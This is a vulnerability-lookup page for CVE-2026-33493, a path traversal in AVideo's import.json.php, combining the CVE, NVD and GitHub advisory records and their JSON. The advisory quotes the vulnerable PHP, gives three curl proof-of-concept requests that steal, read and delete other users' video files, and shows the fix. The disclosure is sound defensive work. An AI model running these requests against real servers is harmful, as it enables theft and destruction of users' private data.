Vulnerability-Lookup

CVE-2026-33493 (GCVE-0-2026-33493)

Vulnerability from cvelistv5 – Published: 2026-03-23 15:52 – Updated: 2026-03-23 16:33

Title

AVideo has a Path Traversal in import.json.php that Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter

Summary

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-23 16:33 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7895 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/WWBN/AVideo/security/advisorie…	x_refsource_CONFIRM
https://github.com/WWBN/AVideo/commit/e110ff542ac…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
WWBN	AVideo	Affected: <= 26.0	guessed

Show details on NVD website

JSON

To clipboard

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      "title": "AVideo has a Path Traversal in import.json.php that Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter",
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}

FKIE_CVE-2026-33493

Vulnerability from fkie_nvd - Published: 2026-03-23 16:16 - Updated: 2026-06-17 10:37

Severity

7.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78	Patch
	security-advisories@github.com	https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	wwbn	avideo	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "AVideo",
          "vendor": "WWBN",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 26.0"
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    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, el endpoint \u0027objects/import.json.php\u0027 acepta un par\u00e1metro POST \u0027fileURI\u0027 controlado por el usuario con solo una verificaci\u00f3n de expresi\u00f3n regular de que el valor termina en \u0027.mp4\u0027. A diferencia de \u0027objects/listFiles.json.php\u0027, que fue reforzado con una verificaci\u00f3n de prefijo de directorio + \u0027realpath()\u0027 para restringir las rutas al directorio \u0027videos/\u0027, \u0027import.json.php\u0027 no realiza ninguna restricci\u00f3n de directorio. Esto permite a un usuario autenticado con permiso de carga: (1) robar los archivos de video privados de cualquier otro usuario import\u00e1ndolos a su propia cuenta, (2) leer archivos \u0027.txt\u0027 / \u0027.html\u0027 / \u0027.htm\u0027 adyacentes a cualquier archivo \u0027.mp4\u0027 en el sistema de archivos, y (3) eliminar archivos \u0027.mp4\u0027 y archivos de texto adyacentes si son escribibles por el proceso del servidor web. El commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contiene un parche."
    }
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        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-33493",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-03-23T16:33:19.961226Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-03-23T16:16:49.433",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-83XQ-8JXJ-4RXM

Vulnerability from github – Published: 2026-03-20 20:49 – Updated: 2026-03-25 20:31

Summary

AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter

Details

Summary

The objects/import.json.php endpoint accepts a user-controlled fileURI POST parameter with only a regex check that the value ends in .mp4. Unlike objects/listFiles.json.php, which was hardened with a realpath() + directory prefix check to restrict paths to the videos/ directory, import.json.php performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user's private video files by importing them into their own account, (2) read .txt/.html/.htm files adjacent to any .mp4 file on the filesystem, and (3) delete .mp4 and adjacent text files if writable by the web server process.

Details

Missing path restriction in import.json.php

At objects/import.json.php:12, the only validation on the user-supplied fileURI is a regex ensuring it ends with .mp4:

// objects/import.json.php:12
if (!preg_match("/.*\\.mp4$/i", $_POST['fileURI'])) {
    return false;
}

Compare this to the hardened listFiles.json.php:16-28, which was patched to restrict paths:

// objects/listFiles.json.php:16-28
$allowedBase = realpath($global['systemRootPath'] . 'videos');
// ...
$resolvedPath = realpath($_POST['path']);
if ($resolvedPath === false || strpos($resolvedPath . '/', $allowedBase) !== 0) {
    http_response_code(403);
    echo json_encode(['error' => 'Path not allowed']);
    exit;
}

The same fix was never applied to import.json.php.

Attack Primitive 1: File content disclosure (.txt/.html/.htm)

At lines 23-43, the endpoint strips the .mp4 extension from fileURI and attempts to read adjacent .txt, .html, or .htm files via file_get_contents():

// objects/import.json.php:23-43
$filename = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['filename'];
$extensions = ['txt', 'html', 'htm'];
foreach ($extensions as $value) {
    if (file_exists("{$filename}.{$value}")) {
        $html = file_get_contents("{$filename}.{$value}");
        $_POST['description'] = $html;
        // ...
        break;
    }
}

The content flows into $_POST['description'], which is then saved as the video description by upload.php:59-64:

// view/mini-upload-form/upload.php:59-64
if (!empty($_POST['description'])) {
    // ...
    $video->setDescription($_POST['description']);
}

The attacker then views the imported video to read the file contents in the description field. This works for any path where both a .mp4 file and an adjacent .txt/.html/.htm file exist — which is the standard layout for every video in the videos/ directory.

Attack Primitive 2: Private video theft

At line 49, the endpoint copies the .mp4 file to a temp directory and then imports it as the current user's video:

// objects/import.json.php:47-49
$source = $obj->fileURI['dirname'] . DIRECTORY_SEPARATOR . $obj->fileURI['basename'];
if (!copy($source, $tmpFileName)) {
    // ...
}

An attacker who knows or can enumerate another user's video filename can copy any private .mp4 file into their own account.

Attack Primitive 3: File deletion

At lines 54-65, when $_POST['delete'] is set, the endpoint deletes the source .mp4 and adjacent text files:

// objects/import.json.php:54-61
if (!empty($_POST['delete']) && $_POST['delete'] !== 'false') {
    if (is_writable($source)) {
        unlink($source);
        foreach ($extensions as $value) {
            if (file_exists("{$filename}.{$value}")) {
                unlink("{$filename}.{$value}");
            }
        }
    }
}

PoC

Step 1: Steal a private video

Assuming the attacker knows another user's video filename (e.g., victim_video_abc123), which can be enumerated via the platform UI or API:

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4'

Expected result: The response returns {"error":false, "videos_id": <new_id>, ...}. The victim's private .mp4 is now imported as the attacker's own video at the returned videos_id.

Step 2: Read another user's video description file

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&length=100'

Expected result: If victim_video_abc123.txt (or .html/.htm) exists alongside the .mp4, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.

Step 3: Delete another user's video

curl -b 'PHPSESSID=<authenticated_session_with_upload_perm>' \
  -X POST 'https://target/objects/import.json.php' \
  -d 'fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4&delete=true'

Expected result: The victim's .mp4 file and any adjacent .txt/.html/.htm files are deleted (if writable by the web server process).

Impact

Private video theft: Any authenticated user with upload permission can import another user's private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.
File content disclosure: .txt, .html, and .htm files adjacent to any .mp4 on the filesystem can be read by the attacker. Within the AVideo videos/ directory, these are video description files that may contain private information.
File deletion: An attacker can delete other users' video files and metadata, causing data loss.
Blast radius: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.

Recommended Fix

Apply the same realpath() + directory prefix check from listFiles.json.php to import.json.php, immediately after the .mp4 regex check:

// objects/import.json.php — add after line 14 (the preg_match check)
$allowedBase = realpath($global['systemRootPath'] . 'videos');
if ($allowedBase === false) {
    die(json_encode(['error' => 'Configuration error']));
}
$allowedBase .= '/';

$resolvedDir = realpath(dirname($_POST['fileURI']));
if ($resolvedDir === false || strpos($resolvedDir . '/', $allowedBase) !== 0) {
    http_response_code(403);
    die(json_encode(['error' => 'Path not allowed']));
}
// Reconstruct fileURI from resolved path to prevent symlink bypass
$_POST['fileURI'] = $resolvedDir . '/' . basename($_POST['fileURI']);

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:49:36Z",
    "nvd_published_at": "2026-03-23T16:16:49Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user\u0027s private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process.\n\n## Details\n\n### Missing path restriction in import.json.php\n\nAt `objects/import.json.php:12`, the only validation on the user-supplied `fileURI` is a regex ensuring it ends with `.mp4`:\n\n```php\n// objects/import.json.php:12\nif (!preg_match(\"/.*\\\\.mp4$/i\", $_POST[\u0027fileURI\u0027])) {\n    return false;\n}\n```\n\nCompare this to the hardened `listFiles.json.php:16-28`, which was patched to restrict paths:\n\n```php\n// objects/listFiles.json.php:16-28\n$allowedBase = realpath($global[\u0027systemRootPath\u0027] . \u0027videos\u0027);\n// ...\n$resolvedPath = realpath($_POST[\u0027path\u0027]);\nif ($resolvedPath === false || strpos($resolvedPath . \u0027/\u0027, $allowedBase) !== 0) {\n    http_response_code(403);\n    echo json_encode([\u0027error\u0027 =\u003e \u0027Path not allowed\u0027]);\n    exit;\n}\n```\n\nThe same fix was never applied to `import.json.php`.\n\n### Attack Primitive 1: File content disclosure (.txt/.html/.htm)\n\nAt lines 23-43, the endpoint strips the `.mp4` extension from `fileURI` and attempts to read adjacent `.txt`, `.html`, or `.htm` files via `file_get_contents()`:\n\n```php\n// objects/import.json.php:23-43\n$filename = $obj-\u003efileURI[\u0027dirname\u0027] . DIRECTORY_SEPARATOR . $obj-\u003efileURI[\u0027filename\u0027];\n$extensions = [\u0027txt\u0027, \u0027html\u0027, \u0027htm\u0027];\nforeach ($extensions as $value) {\n    if (file_exists(\"{$filename}.{$value}\")) {\n        $html = file_get_contents(\"{$filename}.{$value}\");\n        $_POST[\u0027description\u0027] = $html;\n        // ...\n        break;\n    }\n}\n```\n\nThe content flows into `$_POST[\u0027description\u0027]`, which is then saved as the video description by `upload.php:59-64`:\n\n```php\n// view/mini-upload-form/upload.php:59-64\nif (!empty($_POST[\u0027description\u0027])) {\n    // ...\n    $video-\u003esetDescription($_POST[\u0027description\u0027]);\n}\n```\n\nThe attacker then views the imported video to read the file contents in the description field. This works for any path where both a `.mp4` file and an adjacent `.txt`/`.html`/`.htm` file exist \u2014 which is the standard layout for every video in the `videos/` directory.\n\n### Attack Primitive 2: Private video theft\n\nAt line 49, the endpoint copies the `.mp4` file to a temp directory and then imports it as the current user\u0027s video:\n\n```php\n// objects/import.json.php:47-49\n$source = $obj-\u003efileURI[\u0027dirname\u0027] . DIRECTORY_SEPARATOR . $obj-\u003efileURI[\u0027basename\u0027];\nif (!copy($source, $tmpFileName)) {\n    // ...\n}\n```\n\nAn attacker who knows or can enumerate another user\u0027s video filename can copy any private `.mp4` file into their own account.\n\n### Attack Primitive 3: File deletion\n\nAt lines 54-65, when `$_POST[\u0027delete\u0027]` is set, the endpoint deletes the source `.mp4` and adjacent text files:\n\n```php\n// objects/import.json.php:54-61\nif (!empty($_POST[\u0027delete\u0027]) \u0026\u0026 $_POST[\u0027delete\u0027] !== \u0027false\u0027) {\n    if (is_writable($source)) {\n        unlink($source);\n        foreach ($extensions as $value) {\n            if (file_exists(\"{$filename}.{$value}\")) {\n                unlink(\"{$filename}.{$value}\");\n            }\n        }\n    }\n}\n```\n\n## PoC\n\n### Step 1: Steal a private video\n\nAssuming the attacker knows another user\u0027s video filename (e.g., `victim_video_abc123`), which can be enumerated via the platform UI or API:\n\n```bash\ncurl -b \u0027PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e\u0027 \\\n  -X POST \u0027https://target/objects/import.json.php\u0027 \\\n  -d \u0027fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0027\n```\n\n**Expected result:** The response returns `{\"error\":false, \"videos_id\": \u003cnew_id\u003e, ...}`. The victim\u0027s private `.mp4` is now imported as the attacker\u0027s own video at the returned `videos_id`.\n\n### Step 2: Read another user\u0027s video description file\n\n```bash\ncurl -b \u0027PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e\u0027 \\\n  -X POST \u0027https://target/objects/import.json.php\u0027 \\\n  -d \u0027fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0026length=100\u0027\n```\n\n**Expected result:** If `victim_video_abc123.txt` (or `.html`/`.htm`) exists alongside the `.mp4`, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.\n\n### Step 3: Delete another user\u0027s video\n\n```bash\ncurl -b \u0027PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e\u0027 \\\n  -X POST \u0027https://target/objects/import.json.php\u0027 \\\n  -d \u0027fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0026delete=true\u0027\n```\n\n**Expected result:** The victim\u0027s `.mp4` file and any adjacent `.txt`/`.html`/`.htm` files are deleted (if writable by the web server process).\n\n## Impact\n\n- **Private video theft**: Any authenticated user with upload permission can import another user\u0027s private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.\n- **File content disclosure**: `.txt`, `.html`, and `.htm` files adjacent to any `.mp4` on the filesystem can be read by the attacker. Within the AVideo `videos/` directory, these are video description files that may contain private information.\n- **File deletion**: An attacker can delete other users\u0027 video files and metadata, causing data loss.\n- **Blast radius**: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.\n\n## Recommended Fix\n\nApply the same `realpath()` + directory prefix check from `listFiles.json.php` to `import.json.php`, immediately after the `.mp4` regex check:\n\n```php\n// objects/import.json.php \u2014 add after line 14 (the preg_match check)\n$allowedBase = realpath($global[\u0027systemRootPath\u0027] . \u0027videos\u0027);\nif ($allowedBase === false) {\n    die(json_encode([\u0027error\u0027 =\u003e \u0027Configuration error\u0027]));\n}\n$allowedBase .= \u0027/\u0027;\n\n$resolvedDir = realpath(dirname($_POST[\u0027fileURI\u0027]));\nif ($resolvedDir === false || strpos($resolvedDir . \u0027/\u0027, $allowedBase) !== 0) {\n    http_response_code(403);\n    die(json_encode([\u0027error\u0027 =\u003e \u0027Path not allowed\u0027]));\n}\n// Reconstruct fileURI from resolved path to prevent symlink bypass\n$_POST[\u0027fileURI\u0027] = $resolvedDir . \u0027/\u0027 . basename($_POST[\u0027fileURI\u0027]);\n```",
  "id": "GHSA-83xq-8jxj-4rxm",
  "modified": "2026-03-25T20:31:17Z",
  "published": "2026-03-20T20:49:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33493"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter"
}

Sightings

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Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-33493 (GCVE-0-2026-33493)

FKIE_CVE-2026-33493

GHSA-83XQ-8JXJ-4RXM

Summary

Details

Missing path restriction in import.json.php

Attack Primitive 1: File content disclosure (.txt/.html/.htm)

Attack Primitive 2: Private video theft

Attack Primitive 3: File deletion

PoC

Step 1: Steal a private video

Step 2: Read another user's video description file

Step 3: Delete another user's video

Impact

Recommended Fix

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour